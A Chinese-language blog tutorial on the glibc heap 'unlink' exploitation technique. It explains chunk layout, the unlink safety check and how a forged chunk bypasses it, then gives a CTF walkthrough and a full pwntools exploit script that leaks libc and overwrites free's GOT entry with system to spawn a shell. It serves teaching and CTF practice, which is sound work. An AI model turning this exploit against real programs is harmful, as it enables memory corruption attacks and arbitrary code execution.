美文网首页
unlink浅析

unlink浅析

作者: BJChangAn | 来源:发表于2017-12-14 09:16 被阅读0次

    参考文章:

    关于heap overflow的一些笔记   by ETenal

    [CTF]Heap vuln -- unlink           by 0xmuhe

    0x00 unlink宏

    堆chunk的结构:

    struct malloc_chunk {

    INTERNAL_SIZE_T prev_size;         /* Size of previous chunk (if free). */

    INTERNAL_SIZE_T size;                  /* Size in bytes, including overhead. */

    struct malloc_chunk* fd;                    /* double links -- used only if free. */

    struct malloc_chunk* bk;                   /* Only used for large blocks: pointer to next larger size. */

    struct malloc_chunk* fd_nextsize;     /* double links -- used only if free. */

    struct malloc_chunk* bk_nextsize; };

    其中size的低位1bit记录前一个堆块的使用情况。若使用中,则为1,同时presize为0暂时没什么用(??);若前一个堆块已经被释放掉为空闲,则为0,

    同时presize记录前一个堆块的大小,用于从当前堆块计算前一个堆块的起始地址。

    执行free(某个堆块P)时进行如下操作:

    1).检查是否可以向后合并

    首先需要检查 previous chunk 是否是空闲的(通过当前 chunk size 部分中的 flag 最低位去判断),在默认情况下,堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。

    如果为free的话,那么就进行向后合并:

    1)将前一个chunk占用的内存合并到当前chunk;

    2)修改指向当前chunk的指针,改为指向前一个chunk。

    3)使用unlink宏,将前一个free chunk从双向循环链表中移除。

    前一个 chunk 是正在使用的,不满足向后合并的条件。

    2).检查是否可以向前合并

    在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于 chunk first 而言的)的过程中,首先当前 chunk+ 当前 size 可以引导到下个 chunk ,然后从下个 chunk 的开头加上下个 chunk 的 size 就可以引导到下下个 chunk 。

    如果我们把下个 chunk 的 size 覆盖为了-4,那么它会认为下个 chunk 从 prev_size 开始就是下下个chunk了,既然已经找到了下下个 chunk ,那就就要去看看 size 的最低位以确定下个 chunk 是否在使用,当然这个 size 是 -4 ,所以它指示下个 chunk 是空闲的。

    在这个时候,就要发生向前合并了。即 first chunk 会和 first chunk 的下个 chunk (即 second chunk )发生合并。在此时会触发 unlink(second) 宏,想将 second 从它所在的 bin list 中解引用。

    unlink宏:

    #define unlink(P, BK, FD) {

     FD = P->fd;                //FD = *P + 8;

     BK = P->bk;               // BK = *P + 12;

    FD->bk = BK;             //  FD + 12 = BK;

     BK->fd = FD;            //   BK + 8 = FD;

    }

    /* 能操控的就是FD,BK,要注意,FD+12和BK+8都要保证可写*/

    0x01 绕过新glibc防护进行unlink利用

    上述unlink方法已经被glibc遗弃很久了,现在的unlink使用了如下的检查机制

    void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)

    {

    FD = P->fd;

    BK = P->bk;

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

           malloc_printerr(check_action,"corrupted double-linked list",P);

    else

           {

           FD->bk = BK;

           BK->fd = FD;

           }

    }

    在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。这使unlink利用变得十分困难(并非不可利用),很快人们就发现,如果找到一个指向P的指针,精心伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查。在接下来的过程:

    FD->bk=BK;

    BK->fd=FD;

    中这个指针将被FD覆盖。

    举个栗子

    考虑程序功能使用一个chunk_list来存储所有malloc申请到的内存。(显然这是很自然的做法,还有一种情况是先申请一个大的堆块作为chunk_list,这种情况需要先泄露出chunk_list的地址)

    buffer1=malloc(64);

    chunk_list[0]=buffer1;

    在伪造chunk时,使P->fd=chunk_list-12,P->bk=chunk_list-8,这会使

    FD->bk=chunk_list-12+12=chunk_list

    BK->fd=chunk_list-8+8=chunk_list    /*chunk_list指向buffer1

    此时free(buffer2)会进行向后合并,执行unlink(buffer1),此时fd和bk都指向buffer1自己,通过检查。

    最后的结果就是chunk_list[0]=chunk_list-12。

    用户向申请到的堆块即向buffer1写入内容时,实际上是往*(chunk_list[0])里写,通过向

    *(chunk_list[0])=*(chunk_list-12)写入数据12字节的junk,再写4字节将覆盖chunk_list[0],即chunk_list[0]可控

    利用:

    1)用户打印堆块的data内容,实际上是print  *(chunk_list[0]),由于chunk_list[0]可控,可以实现任意地址读

    2)用户向data中写入,实际上是向*(chunk_list[0])中写入,可以实现任意地址写

    0x02 伪造chunk

    例如,malloc两个大小为0x80的堆块:

    chunk0=malloc(0x80)

    chunk1=malloc(0x80)

    堆块目前大致像这样:

    一些细节:

    1)malloc一块0x80大小的内存,返回给用户的指针实际上指向堆块的data位置,而在data前面还有presize和size两个4字节的内容,所以malloc(N)的实际的堆块大小应该为N+8。

    2)malloc时总是8字节对齐的,所以size的低三位被用来作为标识位,最低位标识前一个堆块是否使用中,为0则空闲,为1则为使用中。所以size中的值为0x80+8+1。

    3)prev_size是前一块chunk的大小,前提是前一块chunk状态是free,如果前一块还在被使用,这4个字节会被前一块chunk共享使用以提高空间使用率。所以此时chunk1的presize为0。

    chunk0的data用户可以输入,如果没有检查长度输入可以覆盖到chunk1的presize和size。

    chunk1的size被覆盖为0x88,低位为0,标识前一个堆块chunk0状态为free。

    fake chunk0大小等于chunk0的data区,大小为0x80

    chunk0的fd和bk是可控的。

    这时free(chunk1),发生向后合并,执行宏unlink(chunk0),注意free()通过当前堆块chunk1的地址减去presize来寻址到前一个堆块chunk0,由于此时presize已经被我们构造成0x80,所以寻找前一个堆块时就会找到构造的fake chunk,从而执行unlink(fake chunk),剩下的步骤就按照栗子图下面的搞起~

    0x03 一个pwn栗子

    二进制文件

    编辑内容的时候read造成了溢出。

    首先新建三个堆块:

    add(0x80)

    add(0x80)

    add(0x80)

    构造fake chunk:

    chunk_list=0x08049D60

    payload=p32(0x0)+p32(0x81)         #fake presize & fake size

    payload+=p32(chunk_list-0xc)        #fd

    payload+=p32(chunk_list-0x8)        #bk

    payload+=0x70*'A'                           #paddings

    payload+=p32(0x80)+p32(0x88)

    edit(0,payload)

    现在的堆结构:

    chunk1的size低位为0发生向后合并

    0x8442088通过-presize向前寻址刚好寻址到0x842008,即构造的fake chunk。

    unlink(fake chunk)检查:

                        fd->bk = *(fd+0xc) = *0x8049d60 = 0x08442008

                        bk->fd = *(bk+0x8) = *0x8049d60 = 0x08442008

                        fd->bk = bk->fd = fake chunk

    unlink(fake chunk)操作:

                        FD = fd;

                        BK = bk;

                        FD->bk = BK;

                        BK->fd = FD;

    即:*(0x8049d60)=0x8049d54;

    任意地址读:

    edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))

    相当于做了**(0x8049d60)=payload的操作,即往0x8049d54里写入长度为12的junk之后,再往0x8049d60里写入0x8049d54,往0x8049d64里写入p32(addr),紧接着show(1)打印addr的内容,即可完成任意地址读,可以通过DynELF查找system地址。

    任意地址写:

    edit(0,'A'*12+p32(elf.got['free']))

    edit(0,p32(system_addr))

    0x8049d54里写入长度为12的junk之后,继续就是往0x8049d60里写入free的got表地址,再次edit(0)就能够修改got表,把"/bin/sh"作为data写到一开始分配的第三个堆块里,作remove(2)就可以getshell。

    附上exp:


    from pwn import *

    p=process('./heap')

    chunk_list=0x08049D60

    def leak(addr):

    edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))

    show(1)

    result=p.recv(4)

    print "%#x  %s" %(addr,hex(u32(result)))

    return result

    def add(size):

    p.recvuntil('5.Exit')

    p.sendline('1')

    p.recvuntil('Input the size of chunk you want to add:')

    p.sendline(str(size))

    def edit(index,data):

    p.recvuntil('5.Exit')

    p.sendline('2')

    p.recvuntil('Set chunk index:')

    p.sendline(str(index))

    p.recvuntil('Set chunk data:')

    p.sendline(data)

    def remove(index):

    p.recvuntil('5.Exit')

    p.sendline('3')

    p.recvuntil('Delete chunk index:')

    p.sendline(str(index))

    def show(index):

    p.recvuntil('5.Exit')

    p.sendline('4')

    p.recvuntil('Print chunk index:')

    p.sendline(str(index))

    e=ELF('./heap')

    add(0x80)

    add(0x80)

    add(0x80)

    payload=p32(0x0)+p32(0x81)  #fake presize  & fake size

    payload+=p32(chunk_list-0xc) #fd

    payload+=p32(chunk_list-0x8) #bk

    payload+=0x70*'A'                            #paddings

    payload+=p32(0x80)+p32(0x88)

    #gdb.attach(p,'b* 0x8048702')

    edit(0,payload)

    remove(1)

    d=DynELF(leak,elf=e)

    system_addr=d.lookup('system','libc')

    print "system address: ",hex(system_addr)

    edit(0,'A'*12+p32(e.got['free']))

    edit(0,p32(system_addr))

    edit(2,'/bin/sh')

    remove(2)

    p.interactive()


    相关文章

      网友评论

          本文标题:unlink浅析

          本文链接:https://www.haomeiwen.com/subject/zxwnixtx.html